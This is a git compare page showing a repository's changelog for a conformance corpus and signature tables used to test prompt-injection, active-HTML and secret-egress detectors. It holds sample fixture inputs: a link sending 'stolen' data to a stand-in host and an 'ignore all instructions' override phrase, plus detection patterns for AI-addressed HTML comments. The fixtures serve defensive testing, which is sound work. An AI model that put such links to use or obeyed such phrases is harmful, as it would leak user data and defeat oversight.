Compare commits
17 commits
| Author | SHA1 | Date | |
|---|---|---|---|
| c362717818 | |||
| e56812eb39 | |||
| f0a511369d | |||
| c75c546614 | |||
| c23aea9062 | |||
| 757570dd49 | |||
| 4356caa689 | |||
| 4a6f6ffc16 | |||
| 2d9ee9c434 | |||
| 27b31701e0 | |||
| cb784fea6f | |||
| e6ca5ae5ee | |||
| 8f08e9ac73 | |||
| 7ce0ba706c | |||
| 302625ead5 | |||
| fe5e6b290b | |||
| 2d86151e3b |
19 changed files with 1937 additions and 63 deletions
713
CHANGELOG.md
713
CHANGELOG.md
|
|
@ -9,6 +9,719 @@ Versioning note: the repository tag versions **the contract** (file set, key nam
|
||||||
case ids, disposition semantics). Each JSON file additionally carries its own
|
case ids, disposition semantics). Each JSON file additionally carries its own
|
||||||
`"version"` field, bumped when that file changes.
|
`"version"` field, bumped when that file changes.
|
||||||
|
|
||||||
|
## [0.9.0] — 2026-08-13
|
||||||
|
|
||||||
|
**A normative rule stated its own premise and then applied itself beyond it.**
|
||||||
|
`spec/conformance-corpus.md` §7 justified the fixture-is-ground-truth ordering with *"**Two
|
||||||
|
implementations** that return different verdicts…"* and then stated the rule with no scope at
|
||||||
|
all. For `signatures/active-content.json` there is no second implementation — the seed runtime
|
||||||
|
authored both the payloads and the table — and that runtime has stated that the classification
|
||||||
|
behind it is calibration it does not freeze. §7 as written made a reserved change on their side
|
||||||
|
into a bug on their side.
|
||||||
|
|
||||||
|
**Breaking in category, minor in number.** This changes disposition semantics, which the
|
||||||
|
versioning note at the top of this file counts as contract. The repository is in 0.x, where a
|
||||||
|
breaking change is a minor bump by the rules — the same reading `[0.3.0]` recorded: *read the
|
||||||
|
entry, not the version number*.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- **`spec/conformance-corpus.md` — new §7.1, *Where the second paragraph does not hold*.** The
|
||||||
|
scope is keyed on a **structural property**, never on a table name: a case whose scope is a
|
||||||
|
table only one runtime implements, whose payload that runtime authored. A rule naming
|
||||||
|
`active-content` would rot the day a second runtime implements it. §7's own second paragraph
|
||||||
|
already carried the premise; §7.1 makes it explicit and states the disposition for the case
|
||||||
|
the premise excludes — the fixture is not rewritten on the divergence alone, the divergence is
|
||||||
|
recorded against the version pinned, and re-pinning is a separate release. That is the
|
||||||
|
disposition §5 already applies to a stale `observed_out_of_scope` entry, extended to the one
|
||||||
|
place where it can reach a verdict.
|
||||||
|
|
||||||
|
**It creates no fourth verdict, and that constraint shaped the wording.**
|
||||||
|
`schema/conformance-declaration.schema.json` closes `result` with `additionalProperties: false`
|
||||||
|
over four counts plus two arithmetic invariants; a fifth verdict would have broken every
|
||||||
|
consumer's parser, which is a worse break than the one intended. A case whose expected findings
|
||||||
|
are not produced still **fails** and is still named in `failed_cases`. What §7.1 changes is what
|
||||||
|
the failure licenses concluding, not what is reported.
|
||||||
|
|
||||||
|
Two limits stated in the section rather than left to be inferred: it does **not** reach a
|
||||||
|
third-party implementer of the same table — against them the fixture is the contract, exactly
|
||||||
|
as §7 says, and that is the only thing these cases can prove while one runtime is all there is
|
||||||
|
— and it is **not** a licence for a runtime to self-declare, since the exemption is carried by
|
||||||
|
the corpus's provenance record for the scope and not asserted per case by whoever failed.
|
||||||
|
|
||||||
|
Superseded text is named rather than edited away, following §6's own pattern: *"Through corpus
|
||||||
|
version 0.8.1 this section stated the rule above with no scope at all."*
|
||||||
|
|
||||||
|
**The competing reading was tested and disposed of**, because it is the one that would have
|
||||||
|
avoided this release: that §7's existing hatch (*"unless the fixture itself is proven wrong"*)
|
||||||
|
already covered it. It does not. The hatch's consequence is that **the fixture changes**, and
|
||||||
|
the manifest field asserts the opposite — pinned, not rewritten, re-pinning a separate
|
||||||
|
decision. And a runtime recalibrating does not prove the earlier classification wrong: the
|
||||||
|
fixture measured `de09711` / `0.4.0` correctly, and a later release does not reach back and
|
||||||
|
falsify an earlier measurement. The case fits neither of §7's two dispositions, which is the
|
||||||
|
defect.
|
||||||
|
|
||||||
|
- **`conformance/manifest.json` `0.6.1` → `0.6.2` —
|
||||||
|
`active_content_provenance.pins_a_version_not_a_frozen_classification` no longer records an
|
||||||
|
open question.** The retirement is **partial and it is quoted, not dropped**, per the house
|
||||||
|
style this field established one release ago (*"a correction that does not say what it corrects
|
||||||
|
cannot be audited"*). What falls is only the open-question status; the clause *"section 7 …
|
||||||
|
is NOT amended by this block"* **stays true and is kept**, because §7 was amended by its own
|
||||||
|
release and not by a data file. Value change only — read back from disk against `HEAD` with a
|
||||||
|
flattened key diff: `added: 0, removed: 0, changed: 2` (the field and `version`), and the new
|
||||||
|
string printed and read rather than inferred from the count, since a value edit reports
|
||||||
|
`changed: 1` whatever it wrote.
|
||||||
|
|
||||||
|
Six prose dashes in the new text were written `--` and promoted to `—` before commit: `--` is
|
||||||
|
the variant-suffix separator token of §6's case-id grammar, and every other occurrence of it in
|
||||||
|
this file is that token, a real case id, or a CLI flag.
|
||||||
|
|
||||||
|
### Neighbours — measured, and the ones left alone are named
|
||||||
|
|
||||||
|
A sweep for the retired premise was run over the whole repository, widened past *"ground truth"*
|
||||||
|
to the second paragraph's own wording (*"one of them has a bug"*, *"two implementations"*), since
|
||||||
|
a restatement in that phrasing would have survived the first search.
|
||||||
|
|
||||||
|
- **`CONVENTIONS.md` — changed.** Carried the rule unscoped and called the proven-wrong hatch
|
||||||
|
*"the one way that reverses"*. There are now two, and both are listed.
|
||||||
|
- **`CLAUDE.md` — changed.** The Norwegian restatement that governs sessions in this repository
|
||||||
|
carried the same unscoped rule; left alone, the next session here would have acted on it.
|
||||||
|
- **`SECURITY.md` §2 — minimal cross-reference only.** Its claim is about a fixture that expects
|
||||||
|
**too little**, and §7.1 narrows *who the rule reaches*, not that direction. The conclusion
|
||||||
|
survives intact, so it was not rewritten.
|
||||||
|
- **`SECURITY.md` "Why a confirmed defect is usually not fixed here first" — untouched.** Its
|
||||||
|
*"two implementations answering differently"* is about extracted **data** diverging from its
|
||||||
|
source, not about fixtures.
|
||||||
|
- **`README.md` — untouched.** Its conformance row says *"Ground truth"* as a descriptor and does
|
||||||
|
not restate the disagreement rule, and it already names the asymmetry it would otherwise hide:
|
||||||
|
the seven active-content cases are *"measured against the one runtime that implements that
|
||||||
|
table"*. Nothing there became false.
|
||||||
|
- **`docs/extraction-plan.md` — untouched, and it is supporting evidence rather than a stale
|
||||||
|
neighbour.** It already records that the calibration file *"inverts this repository's central
|
||||||
|
rule"* — so this is the second place the unscoped rule was known not to hold, and the first was
|
||||||
|
documented before this release.
|
||||||
|
|
||||||
|
### Not in this release
|
||||||
|
|
||||||
|
Whether the seven active-content cases still pass at the seed runtime's `v1.1.0` is **unmeasured**,
|
||||||
|
and §7.1 is silent on it. No case was minted, no data file touched, no id string proposed.
|
||||||
|
|
||||||
|
## [0.8.1] — 2026-08-13
|
||||||
|
|
||||||
|
**The field 0.8.0 added to make the exposure precise stated it with a hand-derived count, and the
|
||||||
|
count was wrong.** Caught in the same session, before any consumer read it, and corrected inside
|
||||||
|
the field rather than by rewriting it. No measurement changed and no verdict moved.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- **`conformance/manifest.json` 0.6.0 → 0.6.1 —
|
||||||
|
`active_content_provenance.pins_a_version_not_a_frozen_classification` now enumerates instead of
|
||||||
|
totalling.** As published it read *"three of the four dimensions they name as calibration cannot
|
||||||
|
move one of these cases at all. The fourth can: which `active:` ids a payload yields IS the
|
||||||
|
classification"*. Two defects in one sentence. First, the total was derived by hand over a
|
||||||
|
taxonomy the field had itself recategorized: the seed runtime's four calibration dimensions are
|
||||||
|
severities, thresholds, **lexicon entries** and dispositions, and lexicon entries are *not* absent
|
||||||
|
from these fixtures — `active__data-uri` carries `data-uri:executable` and `active__raw-html`
|
||||||
|
carries `hybrid-xss:script-tag` in `observed_out_of_scope`, both verified as members of
|
||||||
|
`lexicon/injection-lexicon.json` and non-members of `signatures/active-content.json`. Second,
|
||||||
|
*"the fourth"* silently substituted the classification for lexicon entries as the fourth item of
|
||||||
|
their sentence, which it is not — the classification is what they addressed separately.
|
||||||
|
|
||||||
|
- The replacement names three things and totals none of them: severities/thresholds/dispositions
|
||||||
|
are absent and move no verdict; lexicon entries move no verdict either — spec section 5 forbids
|
||||||
|
failing a runtime over `observed_out_of_scope` — but a lexicon calibration change **ages** those
|
||||||
|
two entries as evidence, which is the exposure
|
||||||
|
`active_content_measurement_0_7_0.movement_sweep.residue_is_the_field_no_test_protects` already
|
||||||
|
names as a class, and this corpus pins a stale residue entry rather than rewriting it; and the
|
||||||
|
active-content classification is the one thing that can move a verdict. The retired sentence is
|
||||||
|
**quoted** in the field's `AMENDED IN 0.6.1` clause, not merely dropped, for the same reason
|
||||||
|
`scope_planned.$comment` quotes what it retired: a correction that does not say what it corrects
|
||||||
|
cannot be audited.
|
||||||
|
|
||||||
|
## [0.8.0] — 2026-08-13
|
||||||
|
|
||||||
|
**The seven active-content fixtures pin a VERSION of the seed runtime, and nothing said so.**
|
||||||
|
That runtime tagged `v1.0.0` on 2026-08-13 and stated that the freeze covers its exported Python
|
||||||
|
surface only, excluding detection behaviour: severities, thresholds, lexicon entries and
|
||||||
|
dispositions are calibration there and move in minor and patch releases. The manifest already
|
||||||
|
pinned commit and version per measurement block, but nowhere recorded that the thing pinned is a
|
||||||
|
version rather than a frozen classification. No case is minted, no data file is touched, no id is
|
||||||
|
proposed.
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- **`conformance/manifest.json` 0.5.2 → 0.6.0 —
|
||||||
|
`active_content_provenance.pins_a_version_not_a_frozen_classification`.** One field, scoping the
|
||||||
|
neighbouring `asymmetry` rather than replacing it, and deliberately narrower than the runtime's
|
||||||
|
own statement. The exposure is bounded by what the fixtures assert, which was read from all seven
|
||||||
|
rather than assumed: every finding carries `pattern_id` and nothing else — no severity, no
|
||||||
|
threshold, no disposition — so three of the four dimensions that runtime names as calibration
|
||||||
|
cannot move one of these cases at all. The fourth can, because which `active:` ids a payload
|
||||||
|
yields *is* the classification. The field names both pins (six at 0.4.0 / `de09711`, the seventh
|
||||||
|
at 0.7.0 / `be9759b`) rather than one, since a single version would flatten two measurements into
|
||||||
|
one header — the defect `superseded_for_one_case` exists to prevent. Their v1.0.0 statement is
|
||||||
|
**attributed** to their coord message of 2026-08-13T20:40:31Z, not restated as a fact measured
|
||||||
|
from this side.
|
||||||
|
|
||||||
|
- The field also names the disposition of a future divergence, so it is not left to be inferred: a
|
||||||
|
later 1.x that classifies one of these payloads differently is not a breach by them and does not
|
||||||
|
make the fixture wrong. The fixture stays ground truth at its pinned version, the divergence is
|
||||||
|
measured and recorded, and re-pinning is a separate decision — the same disposition this corpus
|
||||||
|
already applies to a stale `observed_out_of_scope` entry.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- **`docs/secret-egress-divergence.md:75-76` carried the same misquote `conformance/manifest.json`
|
||||||
|
had corrected in 0.7.3**, named there as a deliberate omission and closed here. The field's value
|
||||||
|
ends ``ascending `order` `` — the backticks are the field's own. The fix is *not* the one the
|
||||||
|
omission note implied: those two lines are a single code span delimited by **single** backticks
|
||||||
|
across a line break, so inserting the field's backticks inside it would have terminated the span
|
||||||
|
at the first one and rendered the quote broken. The outer delimiter is promoted to double
|
||||||
|
backticks instead, which is what lets the inner singles survive. The manifest's correction ported
|
||||||
|
as a literal string because JSON has no backtick semantics; markdown does. Verified by extracting
|
||||||
|
the span from the file on disk, unfolding the line break, and comparing to the decoded value in
|
||||||
|
`signatures/secret-egress.json` — equal — and by confirming no backtick run of length ≥ 2 sits
|
||||||
|
inside the span.
|
||||||
|
|
||||||
|
### Not done, and named rather than left silent
|
||||||
|
|
||||||
|
- **`spec/conformance-corpus.md` section 7 is untouched.** It states the disagreement rule without
|
||||||
|
scope: *"The fixture is ground truth. A runtime that disagrees is wrong."* Read against the
|
||||||
|
active-content scope, whose only implementing runtime has now said in writing that its
|
||||||
|
classification may legitimately move, that rule would call a calibration change there a bug. The
|
||||||
|
manifest field records the interaction and explicitly does not amend the spec. Whether the
|
||||||
|
normative rule needs a scope is a decision for its own release.
|
||||||
|
|
||||||
|
## [0.7.3] — 2026-08-13
|
||||||
|
|
||||||
|
**The README still argued the premise 0.7.2 retired, and the two files sat on a public remote
|
||||||
|
disagreeing.** `README.md` opened the egress gap with "It is not an id question at all"; the
|
||||||
|
blocker it sends the reader to for authority now opens reason (1) with "NO ID SPACE ON THE
|
||||||
|
COMMONS SIDE. This is the hard blocker." Before 0.7.2 the README was merely out of date. After
|
||||||
|
it, our own commit had made it contradictory — the same defect class 0.7.1 existed to close. No
|
||||||
|
data moves, no case is minted, no id is proposed.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- **The README now carries the three measured reasons instead of the retired one.** (1) No id
|
||||||
|
space on the commons side — the hard blocker, and the only one an answer can resolve; the
|
||||||
|
answer belongs to the runtimes that own the seeds. (2) Match semantics disagree, and an id
|
||||||
|
space would not close it. (3) Membership diverges in both directions and the divergence is
|
||||||
|
inherited: the two sides hold 19 entries and 25, and they are ports of two *different* source
|
||||||
|
tables in one source repository. The counts survived the falsification; only the causal claim
|
||||||
|
fell, so `different tables` is kept and "cut at different granularities" is gone. The
|
||||||
|
paragraph deliberately does **not** restate the outgoing question's status: that is true on
|
||||||
|
the day it is written, nothing tests README prose, and `conformance/manifest.json` already
|
||||||
|
carries the date. The standing `entry_points_by_scope` requirement is likewise left out rather
|
||||||
|
than printed as a fourth reason.
|
||||||
|
|
||||||
|
- **`conformance/manifest.json` 0.5.1 → 0.5.2: the blocker misquoted the contract it cites.** It
|
||||||
|
rendered the field as `match_semantics: "… evaluated in ascending order"`; the value in
|
||||||
|
`signatures/secret-egress.json` ends ``ascending `order` `` — the backticks are the field's
|
||||||
|
own. A blocker that misquotes the semantics it is blocking on invites a consumer to implement
|
||||||
|
the wrong one. The data file is
|
||||||
|
unchanged and was never wrong — only the quotation of it was, which `scope_planned.$comment`
|
||||||
|
now records. Verified by reading the edited file back from disk and matching the decoded
|
||||||
|
string against the data file that owns it; `json.tool` passes on wrong escaping.
|
||||||
|
|
||||||
|
Known and deliberately left: `docs/secret-egress-divergence.md` renders the same value without
|
||||||
|
its backticks. That document is `Status: informative` and was outside this release's scope.
|
||||||
|
|
||||||
|
## [0.7.2] — 2026-08-13
|
||||||
|
|
||||||
|
**`scope_planned.blockers` named the premise that `docs/secret-egress-divergence.md`
|
||||||
|
falsified.** The blocker read "19 entries … 25 at different cut points" — one table cut at two
|
||||||
|
granularities, waiting on a reconciliation of two ports. Measured 2026-08-13: they are ports of
|
||||||
|
**two different source tables** in the same source repository, so no reconciliation of the ports
|
||||||
|
was ever going to close it. No data moves in this release, and no case is minted — only the
|
||||||
|
recorded reason a case cannot be.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- **The egress blocker now carries the three measured reasons, kept independent.** (1) Commons
|
||||||
|
has no id space for this table: seed A (`hooks/scripts/pre-edit-secrets.mjs`) carries a name
|
||||||
|
and a pattern per entry and nothing else, so entries are keyed by human-readable `name` while
|
||||||
|
the guard emits `egress:<id>`, and a fixture names labels. This is the only one of the three
|
||||||
|
an answer can resolve, and it is the outgoing question. (2) Match semantics disagree:
|
||||||
|
`first match wins` with `ordering.normative: true` here, against `finditer` over all 25
|
||||||
|
patterns there — one witness, an `Authorization` header holding a three-part JWT, produces
|
||||||
|
**one** label under commons' declared contract and **two** from the guard. (3) Membership
|
||||||
|
diverges both ways and is inherited from two different seeds (seed A 19 entries, seed B 33,
|
||||||
|
the guard ported 25, 8 unported), so re-measuring either port cannot close it. The blocker
|
||||||
|
points to `docs/secret-egress-divergence.md` for the method behind every number.
|
||||||
|
|
||||||
|
- **Two hand-carried numbers in the retired text are corrected in the same string.**
|
||||||
|
`aws-access-key-id` was called "the one clean one-to-one": measured, only **2 of 19** commons
|
||||||
|
patterns are byte-identical to a guard pattern after unescaping, and AWS is not among them —
|
||||||
|
the guard anchors the same run as `\bAKIA[0-9A-Z]{16}\b`. `GitHub Token` was called "four ids
|
||||||
|
there": measured on witnesses it maps to **three**, and leaves `ghu_` and `ghr_` covered by no
|
||||||
|
guard id. Both were transcription, not measurement. What is retracted is quoted in place; the
|
||||||
|
full retired text stands in git at `conformance/manifest.json` 0.5.0.
|
||||||
|
|
||||||
|
- **`scope_planned.$comment` said "a distinct unresolved question" — singular.** Left alone it
|
||||||
|
would tell a reader the case becomes mintable when an answer arrives, which is true of one
|
||||||
|
reason in three. Amended alongside the blocker rather than after it, since the two are read
|
||||||
|
together.
|
||||||
|
|
||||||
|
### Measured
|
||||||
|
|
||||||
|
- **The standing requirement was measured here, not transcribed from the document.**
|
||||||
|
`entry_points_by_scope.scopes` carries **no entry at all** for `signatures/secret-egress.json`
|
||||||
|
— the three declared scopes are the lexicon, active-content and carriers. Entry point,
|
||||||
|
findings accessor and fixture presentation must be filled for both runtimes before a first
|
||||||
|
egress case, independently of the three reasons. It is recorded as a requirement, not as a
|
||||||
|
fourth reason: it would stand even if all three were resolved tomorrow.
|
||||||
|
|
||||||
|
- **No id string is proposed, in this file or anywhere else.** Checked against the two outgoing
|
||||||
|
coord messages of 2026-08-13 rather than assumed: both state in as many words that no id is
|
||||||
|
being proposed. Naming an id in a shared space is the exception `carrier:*` established, it
|
||||||
|
requires both runtimes asked first, and both are unanswered.
|
||||||
|
|
||||||
|
`conformance/manifest.json` 0.5.0 → 0.5.1. No case directory, no `expected.json` and no
|
||||||
|
signature table changed; `git status` shows one file besides this changelog.
|
||||||
|
|
||||||
|
## [0.7.1] — 2026-08-13
|
||||||
|
|
||||||
|
Two loose ends from `0.7.0`, neither of which changes a contract.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- **The README still named the manifest as the authority for the variant rule.** It read
|
||||||
|
"see `case_id_derivation.variant_suffix` in the manifest" — true until `0.7.0`, when the
|
||||||
|
rule became normative in `spec/conformance-corpus.md` §6 and the manifest's block became
|
||||||
|
the *measurement* behind it rather than the contract. Left alone it would have reproduced
|
||||||
|
in one line the same defect `0.7.0` closed: a reader sent to the wrong authority.
|
||||||
|
|
||||||
|
### Measured
|
||||||
|
|
||||||
|
- **The `__` half of the derivation was re-measured too, not just the `--` half.** `0.7.0`
|
||||||
|
made a point of re-measuring `--` rather than copying the manifest's `0.3.0` numbers
|
||||||
|
forward, while the adjacent sentence asserting that `__` "does not occur anywhere in the
|
||||||
|
ratified id space" was inherited untested — a claim about this release's own soundness that
|
||||||
|
the release did not check. Measured now across all five published id spaces: the 83 lexicon
|
||||||
|
ids, the 7 `active:` ids, the 3 `carrier:` ids, the 7 malware rule ids and the 19
|
||||||
|
secret-egress entry names carry **neither** `__` nor `--`. The one-to-one transform holds.
|
||||||
|
No text changed; the sentence was true. It is now true *and* measured.
|
||||||
|
|
||||||
|
## [0.7.0] — 2026-08-13
|
||||||
|
|
||||||
|
**The normative spec forbade, in as many words, a case the corpus has shipped since
|
||||||
|
`0.3.0`.** `spec/conformance-corpus.md` §6 read *"Such a payload MUST NOT be given a
|
||||||
|
discriminated case id; the derivation rule is the contract, and a suffix would break the
|
||||||
|
reverse transform"* while `conformance/manifest.json` defined `case_id_derivation.
|
||||||
|
variant_suffix` and `conformance/hybrid-xss__script-tag--src-no-close/` sat on disk under it.
|
||||||
|
The manifest was the correct party; the spec was simply never updated when the derivation was
|
||||||
|
extended. **No data moves in this release — only the normative text that describes it.**
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- **§6's derivation block now states the rule the corpus actually uses.**
|
||||||
|
|
||||||
|
```
|
||||||
|
before case_id = pattern_id with ":" replaced by "__"
|
||||||
|
pattern_id = case_id with "__" replaced by ":"
|
||||||
|
|
||||||
|
after case_id = pattern_id with ":" replaced by "__",
|
||||||
|
optionally followed by "--" and a variant slug of [a-z0-9-]
|
||||||
|
pattern_id = case_id truncated at the first "--" if present,
|
||||||
|
then "__" replaced by ":"
|
||||||
|
```
|
||||||
|
|
||||||
|
The `--`-absence measurement moves into the spec as the reason the reverse transform stays
|
||||||
|
**lexical**: a runtime MUST be able to recover a `pattern_id` by splitting the string, and
|
||||||
|
MUST NOT need a lookup against the published id list to find where the id ends and the
|
||||||
|
variant begins. Re-measured at this commit rather than copied from the manifest's 0.3.0
|
||||||
|
numbers: `--` occurs in none of the 83 lexicon ids, none of the three `carrier:` ids, none
|
||||||
|
of the `active:` construct ids, none of the seven malware rule ids and none of the 19
|
||||||
|
secret-egress entry names — and in exactly one of the 94 case ids, the variant itself. It
|
||||||
|
does occur inside *pattern* values (`<!--\s*(?:AGENT|AI|…)`, `-----BEGIN … PRIVATE KEY-----`),
|
||||||
|
which is why the claim is scoped to id spaces and not to the data files as a whole. The
|
||||||
|
spec states the property, not the counts, which is what keeps it from going stale the way
|
||||||
|
"verified collision-free across all 90" in the manifest did.
|
||||||
|
|
||||||
|
- **The predicate for minting a variant was wrong, and fixing only the permission would have
|
||||||
|
legalised the shipped case under a rule that still forbids it.** §6 reasoned that if two
|
||||||
|
payloads' in-scope finding sets are equal, the second "cannot fail in any way the first does
|
||||||
|
not." The shipped variant falsifies that: it expects the *same* single finding, in the same
|
||||||
|
scope, under the same `match`, and still gates something its base cannot — the base input
|
||||||
|
matches `hybrid-xss:script-tag` under both the published form and the stricter form that
|
||||||
|
preceded it, so reinstating the stricter form leaves it passing, while the variant input
|
||||||
|
matches only the published form and fails. The distinguishing signal is *inside* the scope,
|
||||||
|
in the form of the scoped rule itself, which is exactly what a finding-set comparison cannot
|
||||||
|
see.
|
||||||
|
|
||||||
|
The `MUST NOT` is replaced by a predicate that admits the shipped case and still excludes
|
||||||
|
the omitted one:
|
||||||
|
|
||||||
|
> A variant case MAY be minted when the second input can fail, **within the case's scope**,
|
||||||
|
> under a change to a scoped data file that the first input would pass. Where no edit to a
|
||||||
|
> published table separates the two inputs, the second case cannot fail in any way the first
|
||||||
|
> does not, and it MUST NOT be minted.
|
||||||
|
|
||||||
|
Checked against `omitted_payloads`: the guard's seventh active-content payload is
|
||||||
|
distinguished from the case already built only by `entropy:base64-blob`, and this repository
|
||||||
|
publishes no entropy table, so no edit to any scoped file separates the two inputs. It stays
|
||||||
|
omitted, on the one ground the manifest already records as standing. **That verdict is
|
||||||
|
unchanged by this release** — the manifest's own note that the derivation ground lapsed in
|
||||||
|
`0.3.0` remains the only part of it that has moved.
|
||||||
|
|
||||||
|
- **The manifest's `constraint` is now normative rather than metadata.** A variant case MUST
|
||||||
|
be scoped and matched exactly like its base case and MUST expect the same `pattern_id`; the
|
||||||
|
suffix distinguishes inputs, never findings. Two cases at one pattern id expecting different
|
||||||
|
findings within the same scope are not a variant pair.
|
||||||
|
|
||||||
|
### Unchanged, deliberately
|
||||||
|
|
||||||
|
- **`conformance/manifest.json` stays at `0.5.0` and no case directory was touched.** The
|
||||||
|
corpus version tracks the corpus; no case, no id, no expectation and no measurement changed
|
||||||
|
here. Bumping it would date 94 fixtures to a commit that only edited prose.
|
||||||
|
|
||||||
|
- **The spec carries no version of its own, and none was added.** The "Through version 0.1.1"
|
||||||
|
reference in §4 is the *corpus* version (`conformance/manifest.json` went `0.1.1` → `0.2.0`
|
||||||
|
in the `0.2.0` release), not a spec version — verified before acting, because the session
|
||||||
|
brief said otherwise. Normative specs in this repository are versioned by the repository
|
||||||
|
tag, exactly as in `0.2.0`, which rewrote §4 and §6 prose under the same mechanism.
|
||||||
|
|
||||||
|
- **§6's stable-id paragraph is untouched.** "A case id is a stable identifier. Changing one
|
||||||
|
is a BREAKING change" is a separate rule that sits in the same section; it was read, not
|
||||||
|
edited.
|
||||||
|
|
||||||
|
- **Minor, not major, and the reason is uncomfortable enough to state:** a consumer whose
|
||||||
|
reverse transform is `--`-naive has been broken since `v0.3.0`, when the case shipped. This
|
||||||
|
release documents that break; it does not create it. Nothing here changes a key, a case id
|
||||||
|
or a disposition.
|
||||||
|
|
||||||
|
### Verification
|
||||||
|
|
||||||
|
Mechanical, in scratchpad, never in the repository (charter). The amended derivation was
|
||||||
|
transcribed out of the prose into a checker that reads all 94 cases back from disk and, for
|
||||||
|
each: asserts `case_id` equals the directory name, applies the reverse transform, round-trips
|
||||||
|
it forward, and asserts the derived `pattern_id` is one the case expects. All 94 reproduce.
|
||||||
|
The variant's scope, `match` and findings were asserted identical to its base case — the new
|
||||||
|
MUST, executed rather than eyeballed — and the checker also asserts that the withdrawn
|
||||||
|
sentences are gone and that the three stable-id sentences are still present verbatim (the
|
||||||
|
diff carries them as context lines, not as edits).
|
||||||
|
|
||||||
|
## [0.6.0] — 2026-08-13
|
||||||
|
|
||||||
|
**A seventh active-content case, and the whole raw-HTML classifier moves forward with it.
|
||||||
|
Adopting one new label meant adopting the function that produces it — `active_tag_class` is
|
||||||
|
one function with three branches, and publishing the label on top of the old predicate would
|
||||||
|
have shipped a contract that looks complete and is wrong.**
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- `conformance/active__raw-html-link` — the seventh case scoped to
|
||||||
|
`signatures/active-content.json`, one per published id. Corpus goes 93 → **94**. Input
|
||||||
|
`<a href="https://evil.test/collect?d=stolen">t</a>`, taken **verbatim** from the seed
|
||||||
|
runtime's own coverage matrix (`coverage.py`, extracted from its AST, not retyped), so this
|
||||||
|
case sits inside the corpus's usual provenance rather than under `authored_payloads`.
|
||||||
|
Measured at `be9759b` (v0.7.0) through `scan_output(text, source=Source.OUTPUT)`: one
|
||||||
|
in-scope finding, `active:raw-html-link` at MEDIUM, no residue.
|
||||||
|
|
||||||
|
**One input witnesses both halves of the upstream change.** The opening `<a href>` is the
|
||||||
|
carrier split; the closing `</a>` is the no-URL narrowing and is inert, which is why the
|
||||||
|
finding's count is 1 and not 2.
|
||||||
|
|
||||||
|
- `signatures/active-content.json` `0.2.0` → `0.3.0` — the id `active:raw-html-link`,
|
||||||
|
adopted verbatim. **No name was chosen and neither runtime was asked to choose one**: the
|
||||||
|
seed runtime shipped the class string, and this file's own derivation rule (`"active:"` +
|
||||||
|
the `constructs` key) turns it into an id mechanically. Only one runtime implements this
|
||||||
|
table, so unlike `codepoints/carriers.json` there was no second namer to consult and no
|
||||||
|
decision to ratify.
|
||||||
|
|
||||||
|
New in the same file: `html.algorithm` (the classifier as four ordered steps),
|
||||||
|
`html.url_affordance_tags`, `html.link_tags`, `html.mutator_tags`,
|
||||||
|
`html.url_attr_external_test`, and `pass_order.raw_html_pass_is_one_scan_two_buckets`.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- **`signatures/active-content.json` is no longer a single-pin extraction.** Everything
|
||||||
|
outside the raw-HTML classifier stays at v0.3.4 / `0bf0729`; the classifier is re-pinned
|
||||||
|
to v0.7.0 / `be9759b`. Two pins, stated as two, because one pin would misdescribe both
|
||||||
|
halves. The v0.1.0 behaviour-preservation invariant covered the *extraction* and does not
|
||||||
|
forbid tracking the seed runtime forward.
|
||||||
|
|
||||||
|
- **The drift was measured field by field, not assumed.** Every regex, severity, tag list and
|
||||||
|
numeric floor the file publishes was compared against the v0.7.0 module by importing it and
|
||||||
|
reading the compiled objects — after stripping Python's inline-flag rendering and applying
|
||||||
|
the file's own declared `redundant-quote-escape` normalisation, so a spelling difference
|
||||||
|
could not masquerade as drift. **Exactly one published field had drifted**, and it is not
|
||||||
|
the one this release set out to change:
|
||||||
|
|
||||||
|
`html.active_tags` was publishing the **mutator's** name set (23 entries, with `base`)
|
||||||
|
where the `active_tag` gate means the **scanner's** (22, without). Correct at the 0.3.4 pin,
|
||||||
|
when the runtime had one set; wrong from the runtime's 0.6.0, when the two diverged. The
|
||||||
|
full 23 are preserved as `html.mutator_tags` rather than deleted — a consumer that also
|
||||||
|
defangs needs them, and it is the value this key used to carry.
|
||||||
|
|
||||||
|
Everything else — every construct pattern, both gate patterns, all of `url_shape`,
|
||||||
|
`defang`, `evidence` and the opacity floors — is byte-identical at 0.3.4 and at 0.7.0.
|
||||||
|
|
||||||
|
- **`active:raw-html` narrows, and a new `behaviour_change` block in the file says how.**
|
||||||
|
`<a>`/`<area>` move out into `active:raw-html-link` (HIGH → MEDIUM, and a different label);
|
||||||
|
tags whose whole affordance is a URL they do not carry (`</a>`, `<Frame>`, `<video />`,
|
||||||
|
`<img alt=…>` with no `src`) go silent; `base` leaves the scanner set; a URL attribute on a
|
||||||
|
name outside the active set must now point somewhere external. All four **narrow or
|
||||||
|
downgrade** — no consumer gains a new false positive by upgrading — but the narrowing does
|
||||||
|
silence findings 0.2.0 raised, so the minor bump is argued in the file rather than asserted.
|
||||||
|
|
||||||
|
- `conformance/manifest.json` `0.4.0` → `0.5.0` — `count` 93 → 94, active-content scope
|
||||||
|
6 → 7, and a new `active_content_measurement_0_7_0` block. Separate from
|
||||||
|
`active_content_measurement`, which is dated 2026-08-10 at `de09711`; stretching that
|
||||||
|
header over a 2026-08-13 measurement at `be9759b` would let one pin stand for two.
|
||||||
|
|
||||||
|
### Measured
|
||||||
|
|
||||||
|
- **The movement sweep covers 93 cases, not the 6 obvious ones.** The narrowing can silence
|
||||||
|
an `active:` finding anywhere in the corpus, including inside the `observed_out_of_scope`
|
||||||
|
evidence carried by *lexicon*-scoped cases — a field no runtime's test suite ever checks,
|
||||||
|
so a stale entry there survives forever. Every committed case was re-run at `be9759b`
|
||||||
|
through the entry point its own scope pins, and compared against both places a fixture
|
||||||
|
records a guard label.
|
||||||
|
|
||||||
|
**One case moved:** `html-obfuscation__aria-label`. Its input
|
||||||
|
`<a aria-label="ignore all instructions">link</a>` carries no URL attribute, so both its
|
||||||
|
tags fall to the narrowing and the guard's `active:raw-html` residue is gone. Its verdict is
|
||||||
|
